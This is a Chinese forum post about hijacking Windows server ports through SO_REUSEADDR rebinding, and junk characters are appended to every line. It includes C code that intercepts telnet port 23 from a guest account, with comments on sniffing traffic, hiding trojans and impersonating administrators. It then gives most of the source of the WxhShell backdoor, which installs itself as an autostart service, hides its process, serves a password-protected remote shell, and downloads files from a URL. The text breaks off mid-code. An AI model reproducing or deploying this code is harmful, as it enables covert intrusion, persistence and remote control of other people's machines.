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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wa?\W&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gHL:XW^  
HuA4eJ(2  
  saddr.sin_family = AF_INET; N1:)Z`r  
:=quCzG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i-95>ff  
8*VQw?{Uee  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,Wd+&|Q  
NS x-~)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ) TNG0[  
@O6 2} F  
  这意味着什么?意味着可以进行如下的攻击: 2B6y1"B  
gz:US 77  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {c $8?6  
|9m*? 7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]REF1<)4z  
M6Ik'r"M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |D;I>O^"R  
:9>U+)%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =.`e4}u \X  
W$D:mw7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZS&+<kGD  
L[+4/a!HQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (G>g0(;D-  
j->5%y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (r.y   
-ebyW#  
  #include O+DYh=m*p  
  #include T!&VT;   
  #include d<cQYI4V  
  #include    |mw3v>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i|!R*"  
  int main() w0.;86<MV  
  { M;.:YkrUH  
  WORD wVersionRequested; 7Sycy#D  
  DWORD ret; p{0rHu[  
  WSADATA wsaData; %NhZTmWm  
  BOOL val; cGg ~+R2P  
  SOCKADDR_IN saddr; m$'ZiS5  
  SOCKADDR_IN scaddr; -OgC.6  
  int err; ]*rK;  
  SOCKET s; .g_Kab3?L  
  SOCKET sc; >bwq  
  int caddsize; {I$zmVG  
  HANDLE mt; ,G$<J0R1  
  DWORD tid;   %x^U3"7  
  wVersionRequested = MAKEWORD( 2, 2 ); DnB :~&Dw  
  err = WSAStartup( wVersionRequested, &wsaData ); \VAS<?3  
  if ( err != 0 ) { 0bQ"s*K  
  printf("error!WSAStartup failed!\n"); @7?L+.r$9  
  return -1; K>2Bz&)  
  } %F0.TR!!n  
  saddr.sin_family = AF_INET; r;zG  
   7x$VH5jie#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^{O1+7d[.  
_6sSS\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FbD9G6h5  
  saddr.sin_port = htons(23); lxLEYDGFS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t8#u}u  
  { +=L^h9F  
  printf("error!socket failed!\n"); Cj6$W5I m  
  return -1; EHq?yj;  
  } >\1j`/ :ZI  
  val = TRUE; pc](  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1|7t q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cD<5~`l  
  { ~5~Cpu2v7  
  printf("error!setsockopt failed!\n"); =%crSuP  
  return -1; 0{47TX*YX  
  } w"h3e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KD..X~Me  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *b(nX,e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hh qNp U  
Bc?KAK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cs Gd}2VE  
  { @_"Z]Y ,D0  
  ret=GetLastError(); Dgz^s^fxU  
  printf("error!bind failed!\n"); tNDv[IF  
  return -1; ]M&KUgz  
  } >yt8gw0J  
  listen(s,2); =?1B|hdo  
  while(1) wvEdZGO8!  
  { :T/I%|;f  
  caddsize = sizeof(scaddr); %Wg8dy|  
  //接受连接请求 V.kf@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1n>(CwLG"  
  if(sc!=INVALID_SOCKET) ^r 9  
  { Wtj* Z.=:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TDW\n  
  if(mt==NULL) 3ZL<6`YF  
  { 8]% e[  
  printf("Thread Creat Failed!\n"); J@(69&  
  break; /V E|FTs  
  } 89%#;C  
  } [Pz['q L3t  
  CloseHandle(mt); +)e+$ l  
  } z CFXQi  
  closesocket(s); FWQNO(  
  WSACleanup(); Ibu  5  
  return 0; r[KX"U-  
  }   6F3FcUL  
  DWORD WINAPI ClientThread(LPVOID lpParam) p']oy;t  
  { lemUUl(^  
  SOCKET ss = (SOCKET)lpParam; \2y [Hy?  
  SOCKET sc; t|}}#Z!I[f  
  unsigned char buf[4096]; pn aSOyR  
  SOCKADDR_IN saddr; /9@ VnM  
  long num; iiTt{ab\Y  
  DWORD val; / #D R|  
  DWORD ret; :z%q09.)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U~Rs?JmTdD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2$yNryd  
  saddr.sin_family = AF_INET; LCemM;o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L-Pq/x2r  
  saddr.sin_port = htons(23); _ v3VUm#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hus.Jfam  
  { ;^|:*  
  printf("error!socket failed!\n"); /zIUYY  
  return -1; V*F |Yo:  
  } C5EaP%s  
  val = 100; #-bz$w#*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }9 I,p$  
  { o9c?)KQ  
  ret = GetLastError(); 9wP,Z"  
  return -1; I*l y 7z  
  } R b=q #  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %HcCe[d5l  
  { A$W~R  
  ret = GetLastError(); "<yJ<lS&>  
  return -1; klx28/]  
  } P?j;&@$^e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J*+[?FXRL  
  { Ew*SA  
  printf("error!socket connect failed!\n"); u\o~'Jz  
  closesocket(sc); {Z^q?~zC[  
  closesocket(ss); e# z#bz2<  
  return -1; -5#cfi4^*  
  } wYN/ }>M  
  while(1) 3?bTs =  
  { 4* V[^mht  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z--Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4>(rskl_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]q3.^F  
  num = recv(ss,buf,4096,0); ^W ,~   
  if(num>0) @ 3,:G$,  
  send(sc,buf,num,0);  Jju^4  
  else if(num==0) &/-}`hIAT  
  break; E{{Kz r2$  
  num = recv(sc,buf,4096,0); i@#=Rxp  
  if(num>0) =&roL7ps  
  send(ss,buf,num,0); ibh,d.*~g  
  else if(num==0) ]Yk)A.y  
  break; ;]^% 6B n  
  } 28LYGrB  
  closesocket(ss); Pd;Gc@'~  
  closesocket(sc); o4nDjFhh  
  return 0 ; :*WiswMFm  
  } tYCVVs`?  
HlraOp+  
(W+aeB0  
========================================================== #;/ob-  
1EA#c>I$  
下边附上一个代码,,WXhSHELL d VyT`  
3U%kf<m=  
========================================================== U}DLzn|w  
K#xL-   
#include "stdafx.h" 2$FH+wuW  
e$o]f"(  
#include <stdio.h> `j!XWh*$  
#include <string.h> % !Ih=DZ  
#include <windows.h> w[OUGn'  
#include <winsock2.h> 1\-r5e; BE  
#include <winsvc.h> *1,4#8tB  
#include <urlmon.h> QM@zy  
2BV]@]qB  
#pragma comment (lib, "Ws2_32.lib") ry0YS\W  
#pragma comment (lib, "urlmon.lib") x.Tulo0/  
]D[\l$(  
#define MAX_USER   100 // 最大客户端连接数 T}59m;I  
#define BUF_SOCK   200 // sock buffer j%=X ps  
#define KEY_BUFF   255 // 输入 buffer (h'Bz6K  
r0*Y~ KHw  
#define REBOOT     0   // 重启 iAZbh"I  
#define SHUTDOWN   1   // 关机 sq?js#C5  
H:cAORLB  
#define DEF_PORT   5000 // 监听端口 %a']TX  
yf/i)  
#define REG_LEN     16   // 注册表键长度 _RE;}1rb,  
#define SVC_LEN     80   // NT服务名长度 vH/RP  
 w>\_d  
// 从dll定义API i(> WeC+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3!vnSX(iv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J;'H],w}f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5}Z>N,4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B_ bZa  
&cwN&XBY  
// wxhshell配置信息  C=qL0  
struct WSCFG { ch33+~Nn  
  int ws_port;         // 监听端口 0X5b32  
  char ws_passstr[REG_LEN]; // 口令 K #}t\  
  int ws_autoins;       // 安装标记, 1=yes 0=no h 27f0x9  
  char ws_regname[REG_LEN]; // 注册表键名 ^0&jy:{  
  char ws_svcname[REG_LEN]; // 服务名 nWA>u J5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w@pJ49  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N9 h|_ax  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P=l 7m*m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *P8CzF^>\&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /}9)ZY Mx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ +h4i'  
G|u)eW  
}; wsB  
"RgP!  
// default Wxhshell configuration AkCy C1  
struct WSCFG wscfg={DEF_PORT, !,]2.:{0z  
    "xuhuanlingzhe", c#TV2@   
    1, U9jdb9 |  
    "Wxhshell", oRZe?h^r#  
    "Wxhshell", 5+yy:#J]  
            "WxhShell Service", 'I$kDM mwh  
    "Wrsky Windows CmdShell Service", 6-FM<@H{  
    "Please Input Your Password: ", RK=Pm7L:`y  
  1, Iw?*y.z|  
  "http://www.wrsky.com/wxhshell.exe", ~RLWr.pK  
  "Wxhshell.exe" 9sI&d  
    }; FC WF$'cO  
dh9@3. t  
// 消息定义模块 udmLHc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n|Ts:>`V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %xr'96d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _0UE*l$t  
char *msg_ws_ext="\n\rExit."; t~ <HFY*w  
char *msg_ws_end="\n\rQuit."; Swh\^/B8  
char *msg_ws_boot="\n\rReboot..."; E\TWPV'/  
char *msg_ws_poff="\n\rShutdown..."; q3C  
char *msg_ws_down="\n\rSave to "; %7QSBL  
m_.9 PZ  
char *msg_ws_err="\n\rErr!"; uIBN !\j  
char *msg_ws_ok="\n\rOK!"; ;tQ(l%!  
AN3oh1xe:  
char ExeFile[MAX_PATH]; g)=$zXWhP  
int nUser = 0; i[I&m]N  
HANDLE handles[MAX_USER]; F{^\vFp  
int OsIsNt; Y`d@4*FN$  
P^!g0K  
SERVICE_STATUS       serviceStatus; ,:2Z6~z{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [XttT  
(H"{r  
// 函数声明 G|RBwl  
int Install(void); ^VW]Qr!  
int Uninstall(void); Bh'!aipk  
int DownloadFile(char *sURL, SOCKET wsh); ^4NRmlb  
int Boot(int flag); .)=*Yr M  
void HideProc(void); N;,zPWa  
int GetOsVer(void); C#e :_e]  
int Wxhshell(SOCKET wsl); 2vU-9p {  
void TalkWithClient(void *cs); u80C>sQ  
int CmdShell(SOCKET sock); bDudETl  
int StartFromService(void); hnH<m7  
int StartWxhshell(LPSTR lpCmdLine); }a#T\6rY  
J5n6K$ .d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hzj8o3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'IFA>}e7W  
_`gkYu3R+  
// 数据结构和表定义 !#~KSO}zW2  
SERVICE_TABLE_ENTRY DispatchTable[] = Uk*(C(  
{ k`&FyN^)  
{wscfg.ws_svcname, NTServiceMain}, }V*?~.R  
{NULL, NULL} #Hz9@H  
}; 'CSjj@3X  
v*0J6<  
// 自我安装 d2V\T+=  
int Install(void) A+GRTwj  
{ \4^zY'  
  char svExeFile[MAX_PATH]; b8Z_o N5!  
  HKEY key; S(nQ?;9,  
  strcpy(svExeFile,ExeFile); 8#g}ev@|u  
t- TUP>_  
// 如果是win9x系统,修改注册表设为自启动 wVFa51a)yy  
if(!OsIsNt) { ZZZ`@pXm;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pksr9"Ah  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &@'%0s9g  
  RegCloseKey(key); ~@*q8l C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l1|*(%p?X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q'a]DJ`  
  RegCloseKey(key); cMF)2^w}  
  return 0; |vm-(HY!  
    } SvQ|SKE':  
  } SjpCf8Z(  
} {[`(o 0@(  
else { (+;D~iN`k  
!.^x^OK%y  
// 如果是NT以上系统,安装为系统服务 \y%"tJ~N{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9C2pGfEbn}  
if (schSCManager!=0) EpKZ.lCU  
{ "U"fsAc#  
  SC_HANDLE schService = CreateService 0^\H$An*k  
  ( S.Kcb=;"L  
  schSCManager, j,;f#+O`g  
  wscfg.ws_svcname, J%|;  
  wscfg.ws_svcdisp, )/JVp>  
  SERVICE_ALL_ACCESS, ] Ok &%-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /4OQx0Xmm  
  SERVICE_AUTO_START,  B9y5NX  
  SERVICE_ERROR_NORMAL, 9H;Os:"\|  
  svExeFile, [W{|94q  
  NULL, X Db%-  
  NULL, 7O k-T10  
  NULL, GM9[ 0+u;  
  NULL, 74:( -vS  
  NULL \m}a%/  
  ); <}A6 )=T  
  if (schService!=0) \)wVO*9*0  
  { v;5-1  
  CloseServiceHandle(schService); J k`Jv;  
  CloseServiceHandle(schSCManager); kjp~:Bg_(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5de1rB|  
  strcat(svExeFile,wscfg.ws_svcname); @BjB Mi,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WRkuPj2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W( sit;O  
  RegCloseKey(key); sC[#R.eq  
  return 0; r>|S4O  
    } #o[n.  
  } @ U"Ib  
  CloseServiceHandle(schSCManager); x1`(Z|RJ  
} 9<y{:{i  
} l l*g *zt3  
+PWm=;tcC  
return 1; ~,};FI  
} yK"\~t[@X:  
\'u+iB g  
// 自我卸载 ^_3 $f  
int Uninstall(void) 0YL*)=pD,  
{ lul  
  HKEY key; 87B$  
.@+M6K*  
if(!OsIsNt) { z1,#ma}.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m(:R(K(je  
  RegDeleteValue(key,wscfg.ws_regname); PWvTC`?  
  RegCloseKey(key); ~N| aCi-X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bA Yp }  
  RegDeleteValue(key,wscfg.ws_regname); CdCY#$Z  
  RegCloseKey(key); +}( ]7du  
  return 0; GHLnwym  
  } ' Kkp!eZQ~  
} I]5){Q" S  
} |0u qW1  
else { <_pLmYI  
H(- -hG5}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u81F^72U  
if (schSCManager!=0) {yT<22Fl  
{ 8KigGhY'ms  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c[X6!_  
  if (schService!=0) G.iQ\'1_h  
  { DwFvM0O6\  
  if(DeleteService(schService)!=0) { Sh-B!  
  CloseServiceHandle(schService); ^-s7>F`jx  
  CloseServiceHandle(schSCManager); AVU'rsXA  
  return 0; rk&oKd_&i  
  } ;sf'"UnL  
  CloseServiceHandle(schService); rGt]YG#C  
  } ak3WER|f#  
  CloseServiceHandle(schSCManager); w""u]b%:r  
} Ktzn)7-  
} 7KRNTnd  
5oYeUy>N  
return 1; Fd80T6[  
} `LIlR8&@aX  
WTt /y\'6  
// 从指定url下载文件 ~e,K  
int DownloadFile(char *sURL, SOCKET wsh) `Has3AX8  
{ 1 rbc}e  
  HRESULT hr; HlkjyD8  
char seps[]= "/"; -~\7ZRP8  
char *token; 54TWFDmGi  
char *file; F/p1?1M  
char myURL[MAX_PATH]; Yu&\a?]\2  
char myFILE[MAX_PATH]; FU}- .Ki  
QJkiu8r  
strcpy(myURL,sURL); Gb Mu;CA  
  token=strtok(myURL,seps); 2y8FP#  
  while(token!=NULL) ;9=4]YZt  
  { Cx(HsJ! ,  
    file=token; JPT&!%~  
  token=strtok(NULL,seps); U'5p;j)_  
  } !{uV-c-5,  
F3Vvqt*2  
GetCurrentDirectory(MAX_PATH,myFILE); U;.cXU{  
strcat(myFILE, "\\"); I|>IV  
strcat(myFILE, file); 2%fkXH<  
  send(wsh,myFILE,strlen(myFILE),0); [vY)y\W{  
send(wsh,"...",3,0); p"cY/2w:j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WwSyw?T  
  if(hr==S_OK) @.`HvS  
return 0; GLV`IkU %  
else G8^b9xoA+.  
return 1; Pj8Vl)8~NV  
}gX4dv B  
} Z,XivU&  
FEa%wS{  
// 系统电源模块 Mwj7*pxUh  
int Boot(int flag) {Y]3t9!\  
{ J[K>)@I/  
  HANDLE hToken; _A]~`/0;`  
  TOKEN_PRIVILEGES tkp; #LwDs,J:  
zn*i  
  if(OsIsNt) { l`JKQk   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =<= [E:B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o1]1I9  
    tkp.PrivilegeCount = 1; ?PB}2*R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Oqbfl#%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F 'HYWH0?  
if(flag==REBOOT) { kwt;pxp i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?0s&Kz4B  
  return 0; "bO]AG  
} G CcSI;w  
else { J/vcP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Waic&lX~  
  return 0; Z>@\!$Mc  
} jJ_6_8#  
  } u`*$EP-%  
  else { c/3]M>+M  
if(flag==REBOOT) { @(tuE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $~A\l@xAG  
  return 0; e7U9"pk  
} ?nR$>a`  
else { }T=\hM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,}Ic($ To  
  return 0; AlgVsE%Va  
} \ $9n `  
} Y:'c<k  
jLul:* L  
return 1; u/?;J1z:  
} ~BI! l  
3e^'mT  
// win9x进程隐藏模块 rf&nTDaWI  
void HideProc(void) gBd~:ZUa  
{ _NbhWv  
dFpP_U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L w/ZKXDU2  
  if ( hKernel != NULL ) FC8= ru  
  { N sSl|m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sWLH"'Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WOGMt T%  
    FreeLibrary(hKernel); g[xn0 rG  
  } y {Mh ?H  
qSL~A-  
return; KH1/B_.\V  
} X@B,w_b  
@j4~`~8  
// 获取操作系统版本 !r0 z3^*N  
int GetOsVer(void) /lvH p  
{ U C9w T  
  OSVERSIONINFO winfo; HR k^KB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /#?i+z   
  GetVersionEx(&winfo); \V<deMb=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NslaG  
  return 1; v*e=oyx[  
  else Hn(L0#Oqy  
  return 0; }*0*8~Q'5  
} Yr+ghl/ V  
+wr 5&  
// 客户端句柄模块 af7\2 g3*  
int Wxhshell(SOCKET wsl) ~E7=c3:"  
{ r+Y]S-o:  
  SOCKET wsh; 8,(5Q  
  struct sockaddr_in client; !O8vr4=  
  DWORD myID; D'Sdz\:4  
.gHL(*1P  
  while(nUser<MAX_USER) ,b8B)VZ?  
{ b;sjw5cm_  
  int nSize=sizeof(client); v~HfA)#JK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -U_<:  
  if(wsh==INVALID_SOCKET) return 1; YJrZ  
t) ~v5vr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E|^~R}z)  
if(handles[nUser]==0) 1 Xu^pc  
  closesocket(wsh); %(wa~:m+S-  
else s|&2QG0'7  
  nUser++; mh`VZQ@  
  } v~>4c<eG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &+t,fwlM  
}u..m$h  
  return 0; 3&JsYQu  
} K29KS)~;W  
X'>]z'0W  
// 关闭 socket 7:T 5P  
void CloseIt(SOCKET wsh) BI6o@d;=4  
{ ?en%m|}0  
closesocket(wsh); u7<s_M3%N  
nUser--; A@"CrVE  
ExitThread(0); L pdp'9>I  
} m)?cXM  
eJ!a8   
// 客户端请求句柄 3AD^B\<gB  
void TalkWithClient(void *cs) tpi63<N  
{ "n@=.x  
6*2z^P9FRj  
  SOCKET wsh=(SOCKET)cs; r0\cgCn  
  char pwd[SVC_LEN]; ~3z10IG  
  char cmd[KEY_BUFF]; &wZ:$lK#o  
char chr[1]; p,9eZUGy  
int i,j;  G l*C"V  
<%Re!y@OL  
  while (nUser < MAX_USER) { TNV#   
Si]8*>}-B  
if(wscfg.ws_passstr) { Fu(I<o+T-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); asI:J/%+2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4o2 C=?@(  
  //ZeroMemory(pwd,KEY_BUFF); b-+iL  
      i=0; `+QrgtcEy4  
  while(i<SVC_LEN) { Ip4SdbU  
PF- sb&q  
  // 设置超时 G}\E{VvWh  
  fd_set FdRead; !g~xn2m$R  
  struct timeval TimeOut; |&TRN1  
  FD_ZERO(&FdRead); l>M&S^/s j  
  FD_SET(wsh,&FdRead); @Tr8.4  
  TimeOut.tv_sec=8; vf(\?Js ,  
  TimeOut.tv_usec=0; kqA`d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `riK[@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ( UV8M\  
. \fzK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p]#%e0  
  pwd=chr[0]; /\_ s  
  if(chr[0]==0xd || chr[0]==0xa) { #f@sq5pTO  
  pwd=0; z>hG'  
  break; ?ei7jM",  
  } ,.f GZ4  
  i++; cQUmcK/,  
    } O.*,e  
8<6;X7<-  
  // 如果是非法用户,关闭 socket */RtN`dh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |k> _ jO  
} :nw4K(:f  
(a1s~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z %MP:@z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y)!K@  
-q\1Tlc]3  
while(1) { BaTE59W  
NQ%lwE~  
  ZeroMemory(cmd,KEY_BUFF); SVaC)O(  
z&d&Ky  
      // 自动支持客户端 telnet标准   V4Ql6vg_f  
  j=0; H5=-b@(  
  while(j<KEY_BUFF) { q=E<y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jO$3>q  
  cmd[j]=chr[0]; Xi1/wbC  
  if(chr[0]==0xa || chr[0]==0xd) { WrL&$dEJ?M  
  cmd[j]=0; U)+Yh  
  break; eEQ 4L\d  
  } %Sfew/"R0  
  j++; y#^d8 }+  
    } #tdI;x3  
!["WnF{5eC  
  // 下载文件 4jj@"*^a  
  if(strstr(cmd,"http://")) { Bi)1*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _w=si?q  
  if(DownloadFile(cmd,wsh)) RpR;1ktF>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); izow=}  
  else hO@'WoniW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NS;,(v{*N  
  } 'ac %]}`-  
  else { y}5H<ZcXA  
.T/\5_Bx  
    switch(cmd[0]) { ;2-,Xzz8  
  f 6Bx>lh  
  // 帮助 ?x"<0k1g  
  case '?': { 9#iu#?*B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &mKtW$K` q  
    break; [F/>pL5U$  
  } )&<BQIv9/  
  // 安装 :03w k)  
  case 'i': { ~%B^`s  
    if(Install()) =M)+O%`*6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ksT2_Ic  
    else r%JJ5Al.S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hdp;/Qz&  
    break; S.aSNH<  
    } 3@*J=LGhKc  
  // 卸载 ^i2W=A'P  
  case 'r': { *pCT34'--  
    if(Uninstall()) J84Q|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%}U -*b  
    else %vDN{%h8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aRdzXq#x  
    break; f+j\,LJ  
    } &aqF ||v%)  
  // 显示 wxhshell 所在路径 D|@*HX@_Xp  
  case 'p': { G< l+94(  
    char svExeFile[MAX_PATH]; \m~ ?mg"#  
    strcpy(svExeFile,"\n\r"); 61HU_!A8S  
      strcat(svExeFile,ExeFile); iF?4G^  
        send(wsh,svExeFile,strlen(svExeFile),0); \L-o>O  
    break; eYMp@Cx  
    } 0 Ji>dr n  
  // 重启 (PE x<r1   
  case 'b': { 8hZ+[E}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @-Tt<pl'L  
    if(Boot(REBOOT)) 6LrG+p`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~Zmc1]  
    else { 'kf]l=i[n  
    closesocket(wsh); E4 GtJ`{X  
    ExitThread(0); :[|4Zn  
    } o<`Mvw@Z  
    break; u+a" '*  
    } N?TXPY  
  // 关机 K>hQls+  
  case 'd': { //n$#c _}u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {b6| wQ\  
    if(Boot(SHUTDOWN)) s4/4o_[W  
